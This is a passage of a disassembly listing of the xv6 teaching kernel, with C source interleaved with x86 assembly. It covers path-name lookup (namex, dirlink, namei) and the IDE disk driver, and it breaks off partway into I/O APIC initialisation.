80100360 <panic> panic("dirlookup not DIR"); 80101c6e: c7 04 24 27 6d 10 80 movl $0x80106d27,(%esp) 80101c75: e8 e6 e6 ff ff call 80100360 <panic> 80101c7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c80 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c80: 55 push %ebp 80101c81: 89 e5 mov %esp,%ebp 80101c83: 57 push %edi 80101c84: 89 cf mov %ecx,%edi 80101c86: 56 push %esi 80101c87: 53 push %ebx 80101c88: 89 c3 mov %eax,%ebx 80101c8a: 83 ec 2c sub $0x2c,%esp struct inode *ip, *next; if(*path == '/') 80101c8d: 80 38 2f cmpb $0x2f,(%eax) { 80101c90: 89 55 e0 mov %edx,-0x20(%ebp) if(*path == '/') 80101c93: 0f 84 51 01 00 00 je 80101dea <namex+0x16a> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c99: e8 02 1a 00 00 call 801036a0 <myproc> 80101c9e: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101ca1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101ca8: e8 33 25 00 00 call 801041e0 <acquire> ip->ref++; 80101cad: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101cb1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101cb8: e8 93 25 00 00 call 80104250 <release> 80101cbd: eb 04 jmp 80101cc3 <namex+0x43> 80101cbf: 90 nop path++; 80101cc0: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101cc3: 0f b6 03 movzbl (%ebx),%eax 80101cc6: 3c 2f cmp $0x2f,%al 80101cc8: 74 f6 je 80101cc0 <namex+0x40> if(*path == 0) 80101cca: 84 c0 test %al,%al 80101ccc: 0f 84 ed 00 00 00 je 80101dbf <namex+0x13f> while(*path != '/' && *path != 0) 80101cd2: 0f b6 03 movzbl (%ebx),%eax 80101cd5: 89 da mov %ebx,%edx 80101cd7: 84 c0 test %al,%al 80101cd9: 0f 84 b1 00 00 00 je 80101d90 <namex+0x110> 80101cdf: 3c 2f cmp $0x2f,%al 80101ce1: 75 0f jne 80101cf2 <namex+0x72> 80101ce3: e9 a8 00 00 00 jmp 80101d90 <namex+0x110> 80101ce8: 3c 2f cmp $0x2f,%al 80101cea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101cf0: 74 0a je 80101cfc <namex+0x7c> path++; 80101cf2: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101cf5: 0f b6 02 movzbl (%edx),%eax 80101cf8: 84 c0 test %al,%al 80101cfa: 75 ec jne 80101ce8 <namex+0x68> 80101cfc: 89 d1 mov %edx,%ecx 80101cfe: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101d00: 83 f9 0d cmp $0xd,%ecx 80101d03: 0f 8e 8f 00 00 00 jle 80101d98 <namex+0x118> memmove(name, s, DIRSIZ); 80101d09: 89 5c 24 04 mov %ebx,0x4(%esp) 80101d0d: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101d14: 00 80101d15: 89 3c 24 mov %edi,(%esp) 80101d18: 89 55 e4 mov %edx,-0x1c(%ebp) 80101d1b: e8 20 26 00 00 call 80104340 <memmove> path++; 80101d20: 8b 55 e4 mov -0x1c(%ebp),%edx 80101d23: 89 d3 mov %edx,%ebx while(*path == '/') 80101d25: 80 3a 2f cmpb $0x2f,(%edx) 80101d28: 75 0e jne 80101d38 <namex+0xb8> 80101d2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi path++; 80101d30: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d33: 80 3b 2f cmpb $0x2f,(%ebx) 80101d36: 74 f8 je 80101d30 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d38: 89 34 24 mov %esi,(%esp) 80101d3b: e8 70 f9 ff ff call 801016b0 <ilock> if(ip->type != T_DIR){ 80101d40: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d45: 0f 85 85 00 00 00 jne 80101dd0 <namex+0x150> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d4b: 8b 55 e0 mov -0x20(%ebp),%edx 80101d4e: 85 d2 test %edx,%edx 80101d50: 74 09 je 80101d5b <namex+0xdb> 80101d52: 80 3b 00 cmpb $0x0,(%ebx) 80101d55: 0f 84 a5 00 00 00 je 80101e00 <namex+0x180> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d5b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101d62: 00 80101d63: 89 7c 24 04 mov %edi,0x4(%esp) 80101d67: 89 34 24 mov %esi,(%esp) 80101d6a: e8 51 fe ff ff call 80101bc0 <dirlookup> 80101d6f: 85 c0 test %eax,%eax 80101d71: 74 5d je 80101dd0 <namex+0x150> iunlock(ip); 80101d73: 89 34 24 mov %esi,(%esp) 80101d76: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d79: e8 12 fa ff ff call 80101790 <iunlock> iput(ip); 80101d7e: 89 34 24 mov %esi,(%esp) 80101d81: e8 4a fa ff ff call 801017d0 <iput> iunlockput(ip); return 0; } iunlockput(ip); ip = next; 80101d86: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d89: 89 c6 mov %eax,%esi 80101d8b: e9 33 ff ff ff jmp 80101cc3 <namex+0x43> while(*path != '/' && *path != 0) 80101d90: 31 c9 xor %ecx,%ecx 80101d92: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memmove(name, s, len); 80101d98: 89 4c 24 08 mov %ecx,0x8(%esp) 80101d9c: 89 5c 24 04 mov %ebx,0x4(%esp) 80101da0: 89 3c 24 mov %edi,(%esp) 80101da3: 89 55 dc mov %edx,-0x24(%ebp) 80101da6: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101da9: e8 92 25 00 00 call 80104340 <memmove> name[len] = 0; 80101dae: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101db1: 8b 55 dc mov -0x24(%ebp),%edx 80101db4: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101db8: 89 d3 mov %edx,%ebx 80101dba: e9 66 ff ff ff jmp 80101d25 <namex+0xa5> } if(nameiparent){ 80101dbf: 8b 45 e0 mov -0x20(%ebp),%eax 80101dc2: 85 c0 test %eax,%eax 80101dc4: 75 4c jne 80101e12 <namex+0x192> 80101dc6: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101dc8: 83 c4 2c add $0x2c,%esp 80101dcb: 5b pop %ebx 80101dcc: 5e pop %esi 80101dcd: 5f pop %edi 80101dce: 5d pop %ebp 80101dcf: c3 ret iunlock(ip); 80101dd0: 89 34 24 mov %esi,(%esp) 80101dd3: e8 b8 f9 ff ff call 80101790 <iunlock> iput(ip); 80101dd8: 89 34 24 mov %esi,(%esp) 80101ddb: e8 f0 f9 ff ff call 801017d0 <iput> } 80101de0: 83 c4 2c add $0x2c,%esp return 0; 80101de3: 31 c0 xor %eax,%eax } 80101de5: 5b pop %ebx 80101de6: 5e pop %esi 80101de7: 5f pop %edi 80101de8: 5d pop %ebp 80101de9: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101dea: ba 01 00 00 00 mov $0x1,%edx 80101def: b8 01 00 00 00 mov $0x1,%eax 80101df4: e8 a7 f4 ff ff call 801012a0 <iget> 80101df9: 89 c6 mov %eax,%esi 80101dfb: e9 c3 fe ff ff jmp 80101cc3 <namex+0x43> iunlock(ip); 80101e00: 89 34 24 mov %esi,(%esp) 80101e03: e8 88 f9 ff ff call 80101790 <iunlock> } 80101e08: 83 c4 2c add $0x2c,%esp return ip; 80101e0b: 89 f0 mov %esi,%eax } 80101e0d: 5b pop %ebx 80101e0e: 5e pop %esi 80101e0f: 5f pop %edi 80101e10: 5d pop %ebp 80101e11: c3 ret iput(ip); 80101e12: 89 34 24 mov %esi,(%esp) 80101e15: e8 b6 f9 ff ff call 801017d0 <iput> return 0; 80101e1a: 31 c0 xor %eax,%eax 80101e1c: eb aa jmp 80101dc8 <namex+0x148> 80101e1e: 66 90 xchg %ax,%ax 80101e20 <dirlink>: { 80101e20: 55 push %ebp 80101e21: 89 e5 mov %esp,%ebp 80101e23: 57 push %edi 80101e24: 56 push %esi 80101e25: 53 push %ebx 80101e26: 83 ec 2c sub $0x2c,%esp 80101e29: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e2c: 8b 45 0c mov 0xc(%ebp),%eax 80101e2f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101e36: 00 80101e37: 89 1c 24 mov %ebx,(%esp) 80101e3a: 89 44 24 04 mov %eax,0x4(%esp) 80101e3e: e8 7d fd ff ff call 80101bc0 <dirlookup> 80101e43: 85 c0 test %eax,%eax 80101e45: 0f 85 8b 00 00 00 jne 80101ed6 <dirlink+0xb6> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e4b: 8b 43 58 mov 0x58(%ebx),%eax 80101e4e: 31 ff xor %edi,%edi 80101e50: 8d 75 d8 lea -0x28(%ebp),%esi 80101e53: 85 c0 test %eax,%eax 80101e55: 75 13 jne 80101e6a <dirlink+0x4a> 80101e57: eb 35 jmp 80101e8e <dirlink+0x6e> 80101e59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e60: 8d 57 10 lea 0x10(%edi),%edx 80101e63: 39 53 58 cmp %edx,0x58(%ebx) 80101e66: 89 d7 mov %edx,%edi 80101e68: 76 24 jbe 80101e8e <dirlink+0x6e> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e6a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101e71: 00 80101e72: 89 7c 24 08 mov %edi,0x8(%esp) 80101e76: 89 74 24 04 mov %esi,0x4(%esp) 80101e7a: 89 1c 24 mov %ebx,(%esp) 80101e7d: e8 de fa ff ff call 80101960 <readi> 80101e82: 83 f8 10 cmp $0x10,%eax 80101e85: 75 5e jne 80101ee5 <dirlink+0xc5> if(de.inum == 0) 80101e87: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e8c: 75 d2 jne 80101e60 <dirlink+0x40> strncpy(de.name, name, DIRSIZ); 80101e8e: 8b 45 0c mov 0xc(%ebp),%eax 80101e91: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101e98: 00 80101e99: 89 44 24 04 mov %eax,0x4(%esp) 80101e9d: 8d 45 da lea -0x26(%ebp),%eax 80101ea0: 89 04 24 mov %eax,(%esp) 80101ea3: e8 88 25 00 00 call 80104430 <strncpy> de.inum = inum; 80101ea8: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101eab: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101eb2: 00 80101eb3: 89 7c 24 08 mov %edi,0x8(%esp) 80101eb7: 89 74 24 04 mov %esi,0x4(%esp) 80101ebb: 89 1c 24 mov %ebx,(%esp) de.inum = inum; 80101ebe: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ec2: e8 99 fb ff ff call 80101a60 <writei> 80101ec7: 83 f8 10 cmp $0x10,%eax 80101eca: 75 25 jne 80101ef1 <dirlink+0xd1> return 0; 80101ecc: 31 c0 xor %eax,%eax } 80101ece: 83 c4 2c add $0x2c,%esp 80101ed1: 5b pop %ebx 80101ed2: 5e pop %esi 80101ed3: 5f pop %edi 80101ed4: 5d pop %ebp 80101ed5: c3 ret iput(ip); 80101ed6: 89 04 24 mov %eax,(%esp) 80101ed9: e8 f2 f8 ff ff call 801017d0 <iput> return -1; 80101ede: b8 ff ff ff ff mov $0xffffffff,%eax 80101ee3: eb e9 jmp 80101ece <dirlink+0xae> panic("dirlink read"); 80101ee5: c7 04 24 48 6d 10 80 movl $0x80106d48,(%esp) 80101eec: e8 6f e4 ff ff call 80100360 <panic> panic("dirlink"); 80101ef1: c7 04 24 3e 73 10 80 movl $0x8010733e,(%esp) 80101ef8: e8 63 e4 ff ff call 80100360 <panic> 80101efd: 8d 76 00 lea 0x0(%esi),%esi 80101f00 <namei>: struct inode* namei(char *path) { 80101f00: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101f01: 31 d2 xor %edx,%edx { 80101f03: 89 e5 mov %esp,%ebp 80101f05: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101f08: 8b 45 08 mov 0x8(%ebp),%eax 80101f0b: 8d 4d ea lea -0x16(%ebp),%ecx 80101f0e: e8 6d fd ff ff call 80101c80 <namex> } 80101f13: c9 leave 80101f14: c3 ret 80101f15: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101f19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f20 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f20: 55 push %ebp return namex(path, 1, name); 80101f21: ba 01 00 00 00 mov $0x1,%edx { 80101f26: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f28: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f2b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f2e: 5d pop %ebp return namex(path, 1, name); 80101f2f: e9 4c fd ff ff jmp 80101c80 <namex> 80101f34: 66 90 xchg %ax,%ax 80101f36: 66 90 xchg %ax,%ax 80101f38: 66 90 xchg %ax,%ax 80101f3a: 66 90 xchg %ax,%ax 80101f3c: 66 90 xchg %ax,%ax 80101f3e: 66 90 xchg %ax,%ax 80101f40 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f40: 55 push %ebp 80101f41: 89 e5 mov %esp,%ebp 80101f43: 56 push %esi 80101f44: 89 c6 mov %eax,%esi 80101f46: 53 push %ebx 80101f47: 83 ec 10 sub $0x10,%esp if(b == 0) 80101f4a: 85 c0 test %eax,%eax 80101f4c: 0f 84 99 00 00 00 je 80101feb <idestart+0xab> panic("idestart"); if(b->blockno >= FSSIZE) 80101f52: 8b 48 08 mov 0x8(%eax),%ecx 80101f55: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx 80101f5b: 0f 87 7e 00 00 00 ja 80101fdf <idestart+0x9f> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f61: ba f7 01 00 00 mov $0x1f7,%edx 80101f66: 66 90 xchg %ax,%ax 80101f68: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f69: 83 e0 c0 and $0xffffffc0,%eax 80101f6c: 3c 40 cmp $0x40,%al 80101f6e: 75 f8 jne 80101f68 <idestart+0x28> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f70: 31 db xor %ebx,%ebx 80101f72: ba f6 03 00 00 mov $0x3f6,%edx 80101f77: 89 d8 mov %ebx,%eax 80101f79: ee out %al,(%dx) 80101f7a: ba f2 01 00 00 mov $0x1f2,%edx 80101f7f: b8 01 00 00 00 mov $0x1,%eax 80101f84: ee out %al,(%dx) 80101f85: 0f b6 c1 movzbl %cl,%eax 80101f88: b2 f3 mov $0xf3,%dl 80101f8a: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f8b: 89 c8 mov %ecx,%eax 80101f8d: b2 f4 mov $0xf4,%dl 80101f8f: c1 f8 08 sar $0x8,%eax 80101f92: ee out %al,(%dx) 80101f93: b2 f5 mov $0xf5,%dl 80101f95: 89 d8 mov %ebx,%eax 80101f97: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101f98: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101f9c: b2 f6 mov $0xf6,%dl 80101f9e: 83 e0 01 and $0x1,%eax 80101fa1: c1 e0 04 shl $0x4,%eax 80101fa4: 83 c8 e0 or $0xffffffe0,%eax 80101fa7: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101fa8: f6 06 04 testb $0x4,(%esi) 80101fab: 75 13 jne 80101fc0 <idestart+0x80> 80101fad: ba f7 01 00 00 mov $0x1f7,%edx 80101fb2: b8 20 00 00 00 mov $0x20,%eax 80101fb7: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101fb8: 83 c4 10 add $0x10,%esp 80101fbb: 5b pop %ebx 80101fbc: 5e pop %esi 80101fbd: 5d pop %ebp 80101fbe: c3 ret 80101fbf: 90 nop 80101fc0: b2 f7 mov $0xf7,%dl 80101fc2: b8 30 00 00 00 mov $0x30,%eax 80101fc7: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fc8: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fcd: 83 c6 5c add $0x5c,%esi 80101fd0: ba f0 01 00 00 mov $0x1f0,%edx 80101fd5: fc cld 80101fd6: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fd8: 83 c4 10 add $0x10,%esp 80101fdb: 5b pop %ebx 80101fdc: 5e pop %esi 80101fdd: 5d pop %ebp 80101fde: c3 ret panic("incorrect blockno"); 80101fdf: c7 04 24 b4 6d 10 80 movl $0x80106db4,(%esp) 80101fe6: e8 75 e3 ff ff call 80100360 <panic> panic("idestart"); 80101feb: c7 04 24 ab 6d 10 80 movl $0x80106dab,(%esp) 80101ff2: e8 69 e3 ff ff call 80100360 <panic> 80101ff7: 89 f6 mov %esi,%esi 80101ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102000 <ideinit>: { 80102000: 55 push %ebp 80102001: 89 e5 mov %esp,%ebp 80102003: 83 ec 18 sub $0x18,%esp initlock(&idelock, "ide"); 80102006: c7 44 24 04 c6 6d 10 movl $0x80106dc6,0x4(%esp) 8010200d: 80 8010200e: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102015: e8 56 20 00 00 call 80104070 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 8010201a: a1 00 2d 11 80 mov 0x80112d00,%eax 8010201f: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102026: 83 e8 01 sub $0x1,%eax 80102029: 89 44 24 04 mov %eax,0x4(%esp) 8010202d: e8 7e 02 00 00 call 801022b0 <ioapicenable> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102032: ba f7 01 00 00 mov $0x1f7,%edx 80102037: 90 nop 80102038: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102039: 83 e0 c0 and $0xffffffc0,%eax 8010203c: 3c 40 cmp $0x40,%al 8010203e: 75 f8 jne 80102038 <ideinit+0x38> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102040: ba f6 01 00 00 mov $0x1f6,%edx 80102045: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010204a: ee out %al,(%dx) 8010204b: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102050: b2 f7 mov $0xf7,%dl 80102052: eb 09 jmp 8010205d <ideinit+0x5d> 80102054: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<1000; i++){ 80102058: 83 e9 01 sub $0x1,%ecx 8010205b: 74 0f je 8010206c <ideinit+0x6c> 8010205d: ec in (%dx),%al if(inb(0x1f7) != 0){ 8010205e: 84 c0 test %al,%al 80102060: 74 f6 je 80102058 <ideinit+0x58> havedisk1 = 1; 80102062: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102069: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010206c: ba f6 01 00 00 mov $0x1f6,%edx 80102071: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102076: ee out %al,(%dx) } 80102077: c9 leave 80102078: c3 ret 80102079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102080 <ideintr>: // Interrupt handler. void ideintr(void) { 80102080: 55 push %ebp 80102081: 89 e5 mov %esp,%ebp 80102083: 57 push %edi 80102084: 56 push %esi 80102085: 53 push %ebx 80102086: 83 ec 1c sub $0x1c,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102089: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102090: e8 4b 21 00 00 call 801041e0 <acquire> if((b = idequeue) == 0){ 80102095: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 8010209b: 85 db test %ebx,%ebx 8010209d: 74 30 je 801020cf <ideintr+0x4f> release(&idelock); return; } idequeue = b->qnext; 8010209f: 8b 43 58 mov 0x58(%ebx),%eax 801020a2: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 801020a7: 8b 33 mov (%ebx),%esi 801020a9: f7 c6 04 00 00 00 test $0x4,%esi 801020af: 74 37 je 801020e8 <ideintr+0x68> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020b1: 83 e6 fb and $0xfffffffb,%esi 801020b4: 83 ce 02 or $0x2,%esi 801020b7: 89 33 mov %esi,(%ebx) wakeup(b); 801020b9: 89 1c 24 mov %ebx,(%esp) 801020bc: e8 cf 1c 00 00 call 80103d90 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020c1: a1 64 a5 10 80 mov 0x8010a564,%eax 801020c6: 85 c0 test %eax,%eax 801020c8: 74 05 je 801020cf <ideintr+0x4f> idestart(idequeue); 801020ca: e8 71 fe ff ff call 80101f40 <idestart> release(&idelock); 801020cf: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020d6: e8 75 21 00 00 call 80104250 <release> release(&idelock); } 801020db: 83 c4 1c add $0x1c,%esp 801020de: 5b pop %ebx 801020df: 5e pop %esi 801020e0: 5f pop %edi 801020e1: 5d pop %ebp 801020e2: c3 ret 801020e3: 90 nop 801020e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020e8: ba f7 01 00 00 mov $0x1f7,%edx 801020ed: 8d 76 00 lea 0x0(%esi),%esi 801020f0: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020f1: 89 c1 mov %eax,%ecx 801020f3: 83 e1 c0 and $0xffffffc0,%ecx 801020f6: 80 f9 40 cmp $0x40,%cl 801020f9: 75 f5 jne 801020f0 <ideintr+0x70> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020fb: a8 21 test $0x21,%al 801020fd: 75 b2 jne 801020b1 <ideintr+0x31> insl(0x1f0, b->data, BSIZE/4); 801020ff: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 80102102: b9 80 00 00 00 mov $0x80,%ecx 80102107: ba f0 01 00 00 mov $0x1f0,%edx 8010210c: fc cld 8010210d: f3 6d rep insl (%dx),%es:(%edi) 8010210f: 8b 33 mov (%ebx),%esi 80102111: eb 9e jmp 801020b1 <ideintr+0x31> 80102113: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102119: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102120 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102120: 55 push %ebp 80102121: 89 e5 mov %esp,%ebp 80102123: 53 push %ebx 80102124: 83 ec 14 sub $0x14,%esp 80102127: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010212a: 8d 43 0c lea 0xc(%ebx),%eax 8010212d: 89 04 24 mov %eax,(%esp) 80102130: e8 eb 1e 00 00 call 80104020 <holdingsleep> 80102135: 85 c0 test %eax,%eax 80102137: 0f 84 9e 00 00 00 je 801021db <iderw+0xbb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010213d: 8b 03 mov (%ebx),%eax 8010213f: 83 e0 06 and $0x6,%eax 80102142: 83 f8 02 cmp $0x2,%eax 80102145: 0f 84 a8 00 00 00 je 801021f3 <iderw+0xd3> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010214b: 8b 53 04 mov 0x4(%ebx),%edx 8010214e: 85 d2 test %edx,%edx 80102150: 74 0d je 8010215f <iderw+0x3f> 80102152: a1 60 a5 10 80 mov 0x8010a560,%eax 80102157: 85 c0 test %eax,%eax 80102159: 0f 84 88 00 00 00 je 801021e7 <iderw+0xc7> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 8010215f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102166: e8 75 20 00 00 call 801041e0 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010216b: a1 64 a5 10 80 mov 0x8010a564,%eax b->qnext = 0; 80102170: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102177: 85 c0 test %eax,%eax 80102179: 75 07 jne 80102182 <iderw+0x62> 8010217b: eb 4e jmp 801021cb <iderw+0xab> 8010217d: 8d 76 00 lea 0x0(%esi),%esi 80102180: 89 d0 mov %edx,%eax 80102182: 8b 50 58 mov 0x58(%eax),%edx 80102185: 85 d2 test %edx,%edx 80102187: 75 f7 jne 80102180 <iderw+0x60> 80102189: 83 c0 58 add $0x58,%eax ; *pp = b; 8010218c: 89 18 mov %ebx,(%eax) // Start disk if necessary. if(idequeue == b) 8010218e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 80102194: 74 3c je 801021d2 <iderw+0xb2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 80102196: 8b 03 mov (%ebx),%eax 80102198: 83 e0 06 and $0x6,%eax 8010219b: 83 f8 02 cmp $0x2,%eax 8010219e: 74 1a je 801021ba <iderw+0x9a> sleep(b, &idelock); 801021a0: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp) 801021a7: 80 801021a8: 89 1c 24 mov %ebx,(%esp) 801021ab: e8 50 1a 00 00 call 80103c00 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021b0: 8b 13 mov (%ebx),%edx 801021b2: 83 e2 06 and $0x6,%edx 801021b5: 83 fa 02 cmp $0x2,%edx 801021b8: 75 e6 jne 801021a0 <iderw+0x80> } release(&idelock); 801021ba: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021c1: 83 c4 14 add $0x14,%esp 801021c4: 5b pop %ebx 801021c5: 5d pop %ebp release(&idelock); 801021c6: e9 85 20 00 00 jmp 80104250 <release> for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021cb: b8 64 a5 10 80 mov $0x8010a564,%eax 801021d0: eb ba jmp 8010218c <iderw+0x6c> idestart(b); 801021d2: 89 d8 mov %ebx,%eax 801021d4: e8 67 fd ff ff call 80101f40 <idestart> 801021d9: eb bb jmp 80102196 <iderw+0x76> panic("iderw: buf not locked"); 801021db: c7 04 24 ca 6d 10 80 movl $0x80106dca,(%esp) 801021e2: e8 79 e1 ff ff call 80100360 <panic> panic("iderw: ide disk 1 not present"); 801021e7: c7 04 24 f5 6d 10 80 movl $0x80106df5,(%esp) 801021ee: e8 6d e1 ff ff call 80100360 <panic> panic("iderw: nothing to do"); 801021f3: c7 04 24 e0 6d 10 80 movl $0x80106de0,(%esp) 801021fa: e8 61 e1 ff ff call 80100360 <panic> 801021ff: 90 nop 80102200 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102200: 55 push %ebp 80102201: 89 e5 mov %esp,%ebp 80102203: 56 push %esi 80102204: 53 push %ebx 80102205: 83 ec 10 sub $0x10,%esp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102208: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 8010220f: 00 c0 fe ioapic->reg = reg; 80102212: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102219: 00 00 00 return ioapic->data; 8010221c: 8b 15 34 26 11 80 mov 0x80112634,%edx 80102222: 8b 42 10 mov 0x10(%edx),%eax ioapic->reg = reg; 80102225: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 8010222b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102231: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102238: c1 e8 10 shr $0x10,%eax 8010223b: 0f b6 f0 movzbl %al,%esi return ioapic->data; 8010223e: 8b 43 10 mov 0x10(%ebx),%eax id = ioapicread(REG_ID) >> 24; 80102241: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102244: 39 c2 cmp %eax,%edx 80102246: 74 12 je 8010225a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102248: c7 04 24 14 6e 10 80 movl 